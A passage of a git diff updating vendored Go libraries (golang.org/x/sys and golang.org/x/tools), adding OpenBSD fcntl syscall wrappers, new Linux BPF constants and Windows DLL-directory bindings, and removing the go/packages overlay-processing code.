int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s index 1f224aa416..9d1e0ff06d 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_ppc64.s @@ -213,6 +213,12 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + CALL libc_fcntl(SB) + RET +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 CALL libc_ppoll(SB) RET diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go index bcc920dd25..0688737f49 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.go @@ -584,6 +584,32 @@ var libc_sysctl_trampoline_addr uintptr // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT +func fcntl(fd int, cmd int, arg int) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +var libc_fcntl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_fcntl fcntl "libc.so" + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + +func fcntlPtr(fd int, cmd int, arg unsafe.Pointer) (n int, err error) { + r0, _, e1 := syscall_syscall(libc_fcntl_trampoline_addr, uintptr(fd), uintptr(cmd), uintptr(arg)) + n = int(r0) + if e1 != 0 { + err = errnoErr(e1) + } + return +} + +// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT + func ppoll(fds *PollFd, nfds int, timeout *Timespec, sigmask *Sigset_t) (n int, err error) { r0, _, e1 := syscall_syscall6(libc_ppoll_trampoline_addr, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(unsafe.Pointer(timeout)), uintptr(unsafe.Pointer(sigmask)), 0, 0) n = int(r0) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s index 87a79c7095..da115f9a4b 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_riscv64.s @@ -178,6 +178,11 @@ TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) +TEXT libc_fcntl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fcntl(SB) +GLOBL ·libc_fcntl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fcntl_trampoline_addr(SB)/8, $libc_fcntl_trampoline<>(SB) + TEXT libc_ppoll_trampoline<>(SB),NOSPLIT,$0-0 JMP libc_ppoll(SB) GLOBL ·libc_ppoll_trampoline_addr(SB), RODATA, $8 diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux.go b/vendor/golang.org/x/sys/unix/ztypes_linux.go index 997bcd55ae..bbf8399ff5 100644 --- a/vendor/golang.org/x/sys/unix/ztypes_linux.go +++ b/vendor/golang.org/x/sys/unix/ztypes_linux.go @@ -2671,6 +2671,7 @@ const ( BPF_PROG_TYPE_LSM = 0x1d BPF_PROG_TYPE_SK_LOOKUP = 0x1e BPF_PROG_TYPE_SYSCALL = 0x1f + BPF_PROG_TYPE_NETFILTER = 0x20 BPF_CGROUP_INET_INGRESS = 0x0 BPF_CGROUP_INET_EGRESS = 0x1 BPF_CGROUP_INET_SOCK_CREATE = 0x2 @@ -2715,6 +2716,11 @@ const ( BPF_PERF_EVENT = 0x29 BPF_TRACE_KPROBE_MULTI = 0x2a BPF_LSM_CGROUP = 0x2b + BPF_STRUCT_OPS = 0x2c + BPF_NETFILTER = 0x2d + BPF_TCX_INGRESS = 0x2e + BPF_TCX_EGRESS = 0x2f + BPF_TRACE_UPROBE_MULTI = 0x30 BPF_LINK_TYPE_UNSPEC = 0x0 BPF_LINK_TYPE_RAW_TRACEPOINT = 0x1 BPF_LINK_TYPE_TRACING = 0x2 @@ -2725,6 +2731,18 @@ const ( BPF_LINK_TYPE_PERF_EVENT = 0x7 BPF_LINK_TYPE_KPROBE_MULTI = 0x8 BPF_LINK_TYPE_STRUCT_OPS = 0x9 + BPF_LINK_TYPE_NETFILTER = 0xa + BPF_LINK_TYPE_TCX = 0xb + BPF_LINK_TYPE_UPROBE_MULTI = 0xc + BPF_PERF_EVENT_UNSPEC = 0x0 + BPF_PERF_EVENT_UPROBE = 0x1 + BPF_PERF_EVENT_URETPROBE = 0x2 + BPF_PERF_EVENT_KPROBE = 0x3 + BPF_PERF_EVENT_KRETPROBE = 0x4 + BPF_PERF_EVENT_TRACEPOINT = 0x5 + BPF_PERF_EVENT_EVENT = 0x6 + BPF_F_KPROBE_MULTI_RETURN = 0x1 + BPF_F_UPROBE_MULTI_RETURN = 0x1 BPF_ANY = 0x0 BPF_NOEXIST = 0x1 BPF_EXIST = 0x2 @@ -2742,6 +2760,8 @@ const ( BPF_F_MMAPABLE = 0x400 BPF_F_PRESERVE_ELEMS = 0x800 BPF_F_INNER_MAP = 0x1000 + BPF_F_LINK = 0x2000 + BPF_F_PATH_FD = 0x4000 BPF_STATS_RUN_TIME = 0x0 BPF_STACK_BUILD_ID_EMPTY = 0x0 BPF_STACK_BUILD_ID_VALID = 0x1 @@ -2762,6 +2782,7 @@ const ( BPF_F_ZERO_CSUM_TX = 0x2 BPF_F_DONT_FRAGMENT = 0x4 BPF_F_SEQ_NUMBER = 0x8 + BPF_F_NO_TUNNEL_KEY = 0x10 BPF_F_TUNINFO_FLAGS = 0x10 BPF_F_INDEX_MASK = 0xffffffff BPF_F_CURRENT_CPU = 0xffffffff @@ -2778,6 +2799,8 @@ const ( BPF_F_ADJ_ROOM_ENCAP_L4_UDP = 0x10 BPF_F_ADJ_ROOM_NO_CSUM_RESET = 0x20 BPF_F_ADJ_ROOM_ENCAP_L2_ETH = 0x40 + BPF_F_ADJ_ROOM_DECAP_L3_IPV4 = 0x80 + BPF_F_ADJ_ROOM_DECAP_L3_IPV6 = 0x100 BPF_ADJ_ROOM_ENCAP_L2_MASK = 0xff BPF_ADJ_ROOM_ENCAP_L2_SHIFT = 0x38 BPF_F_SYSCTL_BASE_NAME = 0x1 @@ -2866,6 +2889,8 @@ const ( BPF_DEVCG_DEV_CHAR = 0x2 BPF_FIB_LOOKUP_DIRECT = 0x1 BPF_FIB_LOOKUP_OUTPUT = 0x2 + BPF_FIB_LOOKUP_SKIP_NEIGH = 0x4 + BPF_FIB_LOOKUP_TBID = 0x8 BPF_FIB_LKUP_RET_SUCCESS = 0x0 BPF_FIB_LKUP_RET_BLACKHOLE = 0x1 BPF_FIB_LKUP_RET_UNREACHABLE = 0x2 @@ -2901,6 +2926,7 @@ const ( BPF_CORE_ENUMVAL_EXISTS = 0xa BPF_CORE_ENUMVAL_VALUE = 0xb BPF_CORE_TYPE_MATCHES = 0xc + BPF_F_TIMER_ABS = 0x1 ) const ( @@ -2979,6 +3005,12 @@ type LoopInfo64 struct { Encrypt_key [32]uint8 Init [2]uint64 } +type LoopConfig struct { + Fd uint32 + Size uint32 + Info LoopInfo64 + _ [8]uint64 +} type TIPCSocketAddr struct { Ref uint32 diff --git a/vendor/golang.org/x/sys/windows/syscall_windows.go b/vendor/golang.org/x/sys/windows/syscall_windows.go index fb6cfd0462..47dc579676 100644 --- a/vendor/golang.org/x/sys/windows/syscall_windows.go +++ b/vendor/golang.org/x/sys/windows/syscall_windows.go @@ -155,6 +155,8 @@ func NewCallbackCDecl(fn interface{}) uintptr { //sys GetModuleFileName(module Handle, filename *uint16, size uint32) (n uint32, err error) = kernel32.GetModuleFileNameW //sys GetModuleHandleEx(flags uint32, moduleName *uint16, module *Handle) (err error) = kernel32.GetModuleHandleExW //sys SetDefaultDllDirectories(directoryFlags uint32) (err error) +//sys AddDllDirectory(path *uint16) (cookie uintptr, err error) = kernel32.AddDllDirectory +//sys RemoveDllDirectory(cookie uintptr) (err error) = kernel32.RemoveDllDirectory //sys SetDllDirectory(path string) (err error) = kernel32.SetDllDirectoryW //sys GetVersion() (ver uint32, err error) //sys FormatMessage(flags uint32, msgsrc uintptr, msgid uint32, langid uint32, buf []uint16, args *byte) (n uint32, err error) = FormatMessageW diff --git a/vendor/golang.org/x/sys/windows/zsyscall_windows.go b/vendor/golang.org/x/sys/windows/zsyscall_windows.go index db6282e00a..146a1f0196 100644 --- a/vendor/golang.org/x/sys/windows/zsyscall_windows.go +++ b/vendor/golang.org/x/sys/windows/zsyscall_windows.go @@ -184,6 +184,7 @@ var ( procGetAdaptersInfo = modiphlpapi.NewProc("GetAdaptersInfo") procGetBestInterfaceEx = modiphlpapi.NewProc("GetBestInterfaceEx") procGetIfEntry = modiphlpapi.NewProc("GetIfEntry") + procAddDllDirectory = modkernel32.NewProc("AddDllDirectory") procAssignProcessToJobObject = modkernel32.NewProc("AssignProcessToJobObject") procCancelIo = modkernel32.NewProc("CancelIo") procCancelIoEx = modkernel32.NewProc("CancelIoEx") @@ -330,6 +331,7 @@ var ( procReadProcessMemory = modkernel32.NewProc("ReadProcessMemory") procReleaseMutex = modkernel32.NewProc("ReleaseMutex") procRemoveDirectoryW = modkernel32.NewProc("RemoveDirectoryW") + procRemoveDllDirectory = modkernel32.NewProc("RemoveDllDirectory") procResetEvent = modkernel32.NewProc("ResetEvent") procResizePseudoConsole = modkernel32.NewProc("ResizePseudoConsole") procResumeThread = modkernel32.NewProc("ResumeThread") @@ -1605,6 +1607,15 @@ func GetIfEntry(pIfRow *MibIfRow) (errcode error) { return } +func AddDllDirectory(path *uint16) (cookie uintptr, err error) { + r0, _, e1 := syscall.Syscall(procAddDllDirectory.Addr(), 1, uintptr(unsafe.Pointer(path)), 0, 0) + cookie = uintptr(r0) + if cookie == 0 { + err = errnoErr(e1) + } + return +} + func AssignProcessToJobObject(job Handle, process Handle) (err error) { r1, _, e1 := syscall.Syscall(procAssignProcessToJobObject.Addr(), 2, uintptr(job), uintptr(process), 0) if r1 == 0 { @@ -2879,6 +2890,14 @@ func RemoveDirectory(path *uint16) (err error) { return } +func RemoveDllDirectory(cookie uintptr) (err error) { + r1, _, e1 := syscall.Syscall(procRemoveDllDirectory.Addr(), 1, uintptr(cookie), 0, 0) + if r1 == 0 { + err = errnoErr(e1) + } + return +} + func ResetEvent(event Handle) (err error) { r1, _, e1 := syscall.Syscall(procResetEvent.Addr(), 1, uintptr(event), 0, 0) if r1 == 0 { diff --git a/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go b/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go index 0454cdd78e..333676b7cf 100644 --- a/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go +++ b/vendor/golang.org/x/tools/go/internal/packagesdriver/sizes.go @@ -13,16 +13,17 @@ import ( "golang.org/x/tools/internal/gocommand" ) -var debug = false - func GetSizesForArgsGolist(ctx context.Context, inv gocommand.Invocation, gocmdRunner *gocommand.Runner) (string, string, error) { inv.Verb = "list" inv.Args = []string{"-f", "{{context.GOARCH}} {{context.Compiler}}", "--", "unsafe"} stdout, stderr, friendlyErr, rawErr := gocmdRunner.RunRaw(ctx, inv) var goarch, compiler string if rawErr != nil { - if rawErrMsg := rawErr.Error(); strings.Contains(rawErrMsg, "cannot find main module") || strings.Contains(rawErrMsg, "go.mod file not found") { - // User's running outside of a module. All bets are off. Get GOARCH and guess compiler is gc. + rawErrMsg := rawErr.Error() + if strings.Contains(rawErrMsg, "cannot find main module") || + strings.Contains(rawErrMsg, "go.mod file not found") { + // User's running outside of a module. + // All bets are off. Get GOARCH and guess compiler is gc. // TODO(matloob): Is this a problem in practice? inv.Verb = "env" inv.Args = []string{"GOARCH"} @@ -32,8 +33,12 @@ func GetSizesForArgsGolist(ctx context.Context, inv gocommand.Invocation, gocmdR } goarch = strings.TrimSpace(envout.String()) compiler = "gc" - } else { + } else if friendlyErr != nil { return "", "", friendlyErr + } else { + // This should be unreachable, but be defensive + // in case RunRaw's error results are inconsistent. + return "", "", rawErr } } else { fields := strings.Fields(stdout.String()) diff --git a/vendor/golang.org/x/tools/go/packages/external.go b/vendor/golang.org/x/tools/go/packages/external.go index 7242a0a7d2..7db1d1293a 100644 --- a/vendor/golang.org/x/tools/go/packages/external.go +++ b/vendor/golang.org/x/tools/go/packages/external.go @@ -12,8 +12,8 @@ import ( "bytes" "encoding/json" "fmt" - exec "golang.org/x/sys/execabs" "os" + "os/exec" "strings" ) diff --git a/vendor/golang.org/x/tools/go/packages/golist.go b/vendor/golang.org/x/tools/go/packages/golist.go index 1f1eade0ac..cd375fbc3c 100644 --- a/vendor/golang.org/x/tools/go/packages/golist.go +++ b/vendor/golang.org/x/tools/go/packages/golist.go @@ -11,6 +11,7 @@ import ( "fmt" "log" "os" + "os/exec" "path" "path/filepath" "reflect" @@ -20,7 +21,6 @@ import ( "sync" "unicode" - exec "golang.org/x/sys/execabs" "golang.org/x/tools/go/internal/packagesdriver" "golang.org/x/tools/internal/gocommand" "golang.org/x/tools/internal/packagesinternal" @@ -208,62 +208,6 @@ extractQueries: } } - // Only use go/packages' overlay processing if we're using a Go version - // below 1.16. Otherwise, go list handles it. - if goVersion, err := state.getGoVersion(); err == nil && goVersion < 16 { - modifiedPkgs, needPkgs, err := state.processGolistOverlay(response) - if err != nil { - return nil, err - } - - var containsCandidates []string - if len(containFiles) > 0 { - containsCandidates = append(containsCandidates, modifiedPkgs...) - containsCandidates = append(containsCandidates, needPkgs...) - } - if err := state.addNeededOverlayPackages(response, needPkgs); err != nil { - return nil, err - } - // Check candidate packages for containFiles. - if len(containFiles) > 0 { - for _, id := range containsCandidates { - pkg, ok := response.seenPackages[id] - if !ok { - response.addPackage(&Package{ - ID: id, - Errors: []Error{{ - Kind: ListError, - Msg: fmt.Sprintf("package %s expected but not seen", id), - }}, - }) - continue - } - for _, f := range containFiles { - for _, g := range pkg.GoFiles { - if sameFile(f, g) { - response.addRoot(id) - } - } - } - } - } - // Add root for any package that matches a pattern. This applies only to - // packages that are modified by overlays, since they are not added as - // roots automatically. - for _, pattern := range restPatterns { - match := matchPattern(pattern) - for _, pkgID := range modifiedPkgs { - pkg, ok := response.seenPackages[pkgID] - if !ok { - continue - } - if match(pkg.PkgPath) { - response.addRoot(pkg.ID) - } - } - } - } - sizeswg.Wait() if sizeserr != nil { return nil, sizeserr @@ -271,24 +215,6 @@ extractQueries: return response.dr, nil } -func (state *golistState) addNeededOverlayPackages(response *responseDeduper, pkgs []string) error { - if len(pkgs) == 0 { - return nil - } - dr, err := state.createDriverResponse(pkgs...) - if err != nil { - return err - } - for _, pkg := range dr.Packages { - response.addPackage(pkg) - } - _, needPkgs, err := state.processGolistOverlay(response) - if err != nil { - return err - } - return state.addNeededOverlayPackages(response, needPkgs) -} - func (state *golistState) runContainsQueries(response *responseDeduper, queries []string) error { for _, query := range queries { // TODO(matloob): Do only one query per directory. diff --git a/vendor/golang.org/x/tools/go/packages/golist_overlay.go b/vendor/golang.org/x/tools/go/packages/golist_overlay.go index 9576b472f9..d823c474ad 100644 --- a/vendor/golang.org/x/tools/go/packages/golist_overlay.go +++ b/vendor/golang.org/x/tools/go/packages/golist_overlay.go @@ -6,314 +6,11 @@ package packages import ( "encoding/json" - "fmt" - "go/parser" - "go/token" - "os" "path/filepath" - "regexp" - "sort" - "strconv" - "strings" "golang.org/x/tools/internal/gocommand" ) -// processGolistOverlay provides rudimentary support for adding -// files that don't exist on disk to an overlay. The results can be -// sometimes incorrect. -// TODO(matloob): Handle unsupported cases, including the following: -// - determining the correct package to add given a new import path -func (state *golistState) processGolistOverlay(response *responseDeduper) (modifiedPkgs, needPkgs []string, err error) { - havePkgs := make(map[string]string) // importPath -> non-test package ID - needPkgsSet := make(map[string]bool) - modifiedPkgsSet := make(map[string]bool) - - pkgOfDir := make(map[string][]*Package) - for _, pkg := range response.dr.Packages { - // This is an approximation of import path to id. This can be - // wrong for tests, vendored packages, and a number of other cases. - havePkgs[pkg.PkgPath] = pkg.ID - dir, err := commonDir(pkg.GoFiles) - if err != nil { - return nil, nil, err - } - if dir != "" { - pkgOfDir[dir] = append(pkgOfDir[dir], pkg) - } - } - - // If no new imports are added, it is safe to avoid loading any needPkgs. - // Otherwise, it's hard to tell which package is actually being loaded - // (due to vendoring) and whether any modified package will show up - // in the transitive set of dependencies (because new imports are added, - // potentially modifying the transitive set of dependencies). - var overlayAddsImports bool - - // If both a package and its test package are created by the overlay, we - // need the real package first. Process all non-test files before test - // files, and make the whole process deterministic while we're at it. - var overlayFiles []string - for opath := range state.cfg.Overlay { - overlayFiles = append(overlayFiles, opath) - } - sort.Slice(overlayFiles, func(i, j int) bool { - iTest := strings.HasSuffix(overlayFiles[i], "_test.go") - jTest := strings.HasSuffix(overlayFiles[j], "_test.go") - if iTest != jTest { - return !iTest // non-tests are before tests. - } - return overlayFiles[i] < overlayFiles[j] - }) - for _, opath := range overlayFiles { - contents := state.cfg.Overlay[opath] - base := filepath.Base(opath) - dir := filepath.Dir(opath) - var pkg *Package // if opath belongs to both a package and its test variant, this will be the test variant - var testVariantOf *Package // if opath is a test file, this is the package it is testing - var fileExists bool - isTestFile := strings.HasSuffix(opath, "_test.go") - pkgName, ok := extractPackageName(opath, contents) - if !ok { - // Don't bother adding a file that doesn't even have a parsable package statement - // to the overlay. - continue - } - // If all the overlay files belong to a different package, change the - // package name to that package. - maybeFixPackageName(pkgName, isTestFile, pkgOfDir[dir]) - nextPackage: - for _, p := range response.dr.Packages { - if pkgName != p.Name && p.ID != "command-line-arguments" { - continue - } - for _, f := range p.GoFiles { - if !sameFile(filepath.Dir(f), dir) { - continue - } - // Make sure to capture information on the package's test variant, if needed. - if isTestFile && !hasTestFiles(p) { - // TODO(matloob): Are there packages other than the 'production' variant - // of a package that this can match? This shouldn't match the test main package - // because the file is generated in another directory. - testVariantOf = p - continue nextPackage - } else if !isTestFile && hasTestFiles(p) { - // We're examining a test variant, but the overlaid file is - // a non-test file. Because the overlay implementation - // (currently) only adds a file to one package, skip this - // package, so that we can add the file to the production - // variant of the package. (https://golang.org/issue/36857 - // tracks handling overlays on both the production and test - // variant of a package). - continue nextPackage - } - if pkg != nil && p != pkg && pkg.PkgPath == p.PkgPath { - // We have already seen the production version of the - // for which p is a test variant. - if hasTestFiles(p) { - testVariantOf = pkg - } - } - pkg = p - if filepath.Base(f) == base { - fileExists = true - } - } - } - // The overlay could have included an entirely new package or an - // ad-hoc package. An ad-hoc package is one that we have manually - // constructed from inadequate `go list` results for a file= query. - // It will have the ID command-line-arguments. - if pkg == nil || pkg.ID == "command-line-arguments" { - // Try to find the module or gopath dir the file is contained in. - // Then for modules, add the module opath to the beginning. - pkgPath, ok, err := state.getPkgPath(dir) - if err != nil { - return nil, nil, err - } - if !ok { - break - } - var forTest string // only set for x tests - isXTest := strings.HasSuffix(pkgName, "_test") - if isXTest { - forTest = pkgPath - pkgPath += "_test" - } - id := pkgPath - if isTestFile { - if isXTest { - id = fmt.Sprintf("%s [%s.test]", pkgPath, forTest) - } else { - id = fmt.Sprintf("%s [%s.test]", pkgPath, pkgPath) - } - } - if pkg != nil { - // TODO(rstambler): We should change the package's path and ID - // here. The only issue is that this messes with the roots. - } else { - // Try to reclaim a package with the same ID, if it exists in the response. - for _, p := range response.dr.Packages { - if reclaimPackage(p, id, opath, contents) { - pkg = p - break - } - } - // Otherwise, create a new package. - if pkg == nil { - pkg = &Package{ - PkgPath: pkgPath, - ID: id, - Name: pkgName, - Imports: make(map[string]*Package), - } - response.addPackage(pkg) - havePkgs[pkg.PkgPath] = id - // Add the production package's sources for a test variant. - if isTestFile && !isXTest && testVariantOf != nil { - pkg.GoFiles = append(pkg.GoFiles, testVariantOf.GoFiles...) - pkg.CompiledGoFiles = append(pkg.CompiledGoFiles, testVariantOf.CompiledGoFiles...) - // Add the package under test and its imports to the test variant. - pkg.forTest = testVariantOf.PkgPath - for k, v := range testVariantOf.Imports { - pkg.Imports[k] = &Package{ID: v.ID} - } - } - if isXTest { - pkg.forTest = forTest - } - } - } - } - if !fileExists { - pkg.GoFiles = append(pkg.GoFiles, opath) - // TODO(matloob): Adding the file to CompiledGoFiles can exhibit the wrong behavior - // if the file will be ignored due to its build tags. - pkg.CompiledGoFiles = append(pkg.CompiledGoFiles, opath) - modifiedPkgsSet[pkg.ID] = true - } - imports, err := extractImports(opath, contents) - if err != nil { - // Let the parser or type checker report errors later. - continue - } - for _, imp := range imports { - // TODO(rstambler): If the package is an x test and the import has - // a test variant, make sure to replace it. - if _, found := pkg.Imports[imp]; found { - continue - } - overlayAddsImports = true - id, ok := havePkgs[imp] - if !ok { - var err error - id, err = state.resolveImport(dir, imp) - if err != nil { - return nil, nil, err - } - } - pkg.Imports[imp] = &Package{ID: id} - // Add dependencies to the non-test variant version of this package as well. - if testVariantOf != nil { - testVariantOf.Imports[imp] = &Package{ID: id} - } - } - } - - // toPkgPath guesses the package path given the id. - toPkgPath := func(sourceDir, id string) (string, error) { - if i := strings.IndexByte(id, ' '); i >= 0 { - return state.resolveImport(sourceDir, id[:i]) - } - return state.resolveImport(sourceDir, id) - } - - // Now that new packages have been created, do another pass to determine - // the new set of missing packages. - for _, pkg := range response.dr.Packages { - for _, imp := range pkg.Imports { - if len(pkg.GoFiles) == 0 { - return nil, nil, fmt.Errorf("cannot resolve imports for package %q with no Go files", pkg.PkgPath) - } - pkgPath, err := toPkgPath(filepath.Dir(pkg.GoFiles[0]), imp.ID) - if err != nil { - return nil, nil, err - } - if _, ok := havePkgs[pkgPath]; !ok { - needPkgsSet[pkgPath] = true - } - } - } - - if overlayAddsImports { - needPkgs = make([]string, 0, len(needPkgsSet)) - for pkg := range needPkgsSet { - needPkgs = append(needPkgs, pkg) - } - } - modifiedPkgs = make([]string, 0, len(modifiedPkgsSet)) - for pkg := range modifiedPkgsSet { - modifiedPkgs = append(modifiedPkgs, pkg) - } - return modifiedPkgs, needPkgs, err -} - -// resolveImport finds the ID of a package given its import path. -// In particular, it will find the right vendored copy when in GOPATH mode. -func (state *golistState) resolveImport(sourceDir, importPath string) (string, error) { - env, err := state.getEnv() - if err != nil { - return "", err - } - if env["GOMOD"] != "" { - return importPath, nil - } - - searchDir := sourceDir - for { - vendorDir := filepath.Join(searchDir, "vendor") - exists, ok := state.vendorDirs[vendorDir] - if !ok { - info, err := os.Stat(vendorDir) - exists = err == nil && info.IsDir() - state.vendorDirs[vendorDir] = exists - } - - if exists { - vendoredPath := filepath.Join(vendorDir, importPath) - if info, err := os.Stat(vendoredPath); err == nil && info.IsDir() { - // We should probably check for .go files here, but shame on anyone who fools us. - path, ok, err := state.getPkgPath(vendoredPath) - if err != nil { - return "", err - } - if ok { - return path, nil - } - } - } - - // We know we've hit the top of the filesystem when we Dir / and get /, - // or C:\ and get C:\, etc. - next := filepath.Dir(searchDir) - if next == searchDir { - break - } - searchDir = next - } - return importPath, nil -} - -func hasTestFiles(p *Package) bool { - for _, f := range p.GoFiles { - if strings.HasSuffix(f, "_test.go") { - return true - } - } - return false -} - // determineRootDirs returns a mapping from absolute directories that could // contain code to their corresponding import path prefixes. func (state *golistState) determineRootDirs() (map[string]string, error) { @@ -384,192 +81,3 @@ func (state *golistState) determineRootDirsGOPATH() (map[string]string, error) { } return m, nil } - -func extractImports(filename string, contents []byte) ([]string, error) { - f, err := parser.ParseFile(token.NewFileSet(), filename, contents, parser.ImportsOnly) // TODO(matloob): reuse fileset? - if err != nil { - return nil, err - } - var res []string - for _, imp := range f.Imports { - quotedPath := imp.Path.Value - path, err := strconv.Unquote(quotedPath) - if err != nil { - return nil, err - } - res = append(res, path) - } - return res, nil -} - -// reclaimPackage attempts to reuse a package that failed to load in an overlay. -// -// If the package has errors and has no Name, GoFiles, or Imports, -// then it's possible that it doesn't yet exist on disk. -func reclaimPackage(pkg *Package, id string, filename string, contents []byte) bool { - // TODO(rstambler): Check the message of the actual error? - // It differs between $GOPATH and module mode. - if pkg.ID != id { - return false - } - if len(pkg.Errors) != 1 { - return false - } - if pkg.Name != "" || pkg.ExportFile != "" { - return false - } - if len(pkg.GoFiles) > 0 || len(pkg.CompiledGoFiles) > 0 || len(pkg.OtherFiles) > 0 { - return false - } - if len(pkg.Imports) > 0 { - return false - } - pkgName, ok := extractPackageName(filename, contents) - if !ok { - return false - } - pkg.Name = pkgName - pkg.Errors = nil - return true -} - -func extractPackageName(filename string, contents []byte) (string, bool) { - // TODO(rstambler): Check the message of the actual error? - // It differs between $GOPATH and module mode. - f, err := parser.ParseFile(token.NewFileSet(), filename, contents, parser.PackageClauseOnly) // TODO(matloob): reuse fileset? - if err != nil { - return "", false - } - return f.Name.Name, true -} - -// commonDir returns the directory that all files are in, "" if files is empty, -// or an error if they aren't in the same directory. -func commonDir(files []string) (string, error) { - seen := make(map[string]bool) - for _, f := range files { - seen[filepath.Dir(f)] = true - } - if len(seen) > 1 { - return "", fmt.Errorf("files (%v) are in more than one directory: %v", files, seen) - } - for k := range seen { - // seen has only one element; return it. - return k, nil - } - return "", nil // no files -} - -// It is possible that the files in the disk directory dir have a different package -// name from newName, which is deduced from the overlays. If they all have a different -// package name, and they all have the same package name, then that name becomes -// the package name. -// It returns true if it changes the package name, false otherwise. -func maybeFixPackageName(newName string, isTestFile bool, pkgsOfDir []*Package) { - names := make(map[string]int) - for _, p := range pkgsOfDir { - names[p.Name]++ - } - if len(names) != 1 { - // some files are in different packages - return - } - var oldName string - for k := range names { - oldName = k - } - if newName == oldName { - return - } - // We might have a case where all of the package names in the directory are - // the same, but the overlay file is for an x test, which belongs to its - // own package. If the x test does not yet exist on disk, we may not yet - // have its package name on disk, but we should not rename the packages. - // - // We use a heuristic to determine if this file belongs to an x test: - // The test file should have a package name whose package name has a _test - // suffix or looks like "newName_test". - maybeXTest := strings.HasPrefix(oldName+"_test", newName) || strings.HasSuffix(newName, "_test") - if isTestFile && maybeXTest { - return - } - for _, p := range pkgsOfDir { - p.Name = newName - } -} - -// This function is copy-pasted from -// https://github.com/golang/go/blob/9706f510a5e2754595d716bd64be8375997311fb/src/cmd/go/internal/search/search.go#L360. -// It should be deleted when we remove support for overlays from go/packages. -// -// NOTE: This does not handle any ./... or ./ style queries, as this function -// doesn't know the working directory. -// -// matchPattern(pattern)(name) reports whether -// name matches pattern. Pattern is a limited glob -// pattern in which '...' means 'any string' and there -// is no other special syntax. -// Unfortunately, there are two special cases. Quoting "go help packages": -// -// First, /... at the end of the pattern can match an empty string, -// so that net/... matches both net and packages in its subdirectories, like net/http. -// Second, any slash-separated pattern element containing a wildcard never -// participates in a match of the "vendor" element in the path of a vendored -// package, so that ./... does not match packages in subdirectories of -// ./vendor or ./mycode/vendor, but ./vendor/... and ./mycode/vendor/... do. -// Note, however, that a directory named vendor that itself contains code -// is not a vendored package: cmd/vendor would be a command named vendor, -// and the pattern cmd/... matches it. -func matchPattern(pattern string) func(name string) bool { - // Convert pattern to regular expression. - // The strategy for the trailing /... is to nest it in an explicit ? expression. - // The strategy for the vendor exclusion is to change the unmatchable - // vendor strings to a disallowed code point (vendorChar) and to use - // "(anything but that codepoint)*" as the implementation of the ... wildcard. - // This is a bit complicated but the obvious alternative, - // namely a hand-written search like in most shell glob matchers, - // is too easy to make accidentally exponential. - // Using package regexp guarantees linear-time matching. - - const vendorChar = "\x00" - - if strings.Contains(pattern, vendorChar) { - return func(name string) bool { return false } - } - - re := regexp.QuoteMeta(pattern) - re = replaceVendor(re, vendorChar) - switch { - case strings.HasSuffix(re, `/`+vendorChar+`/\.\.\.`): - re = strings.TrimSuffix(re, `/`+vendorChar+`/\.\.\.`) + `(/vendor|/` + vendorChar + `/\.\.\.)` - case re == vendorChar+`/\.\.\.`: - re = `(/vendor|/` + vendorChar + `/\.\.\.)` - case strings.HasSuffix(re, `/\.\.\.`): - re = strings.TrimSuffix(re, 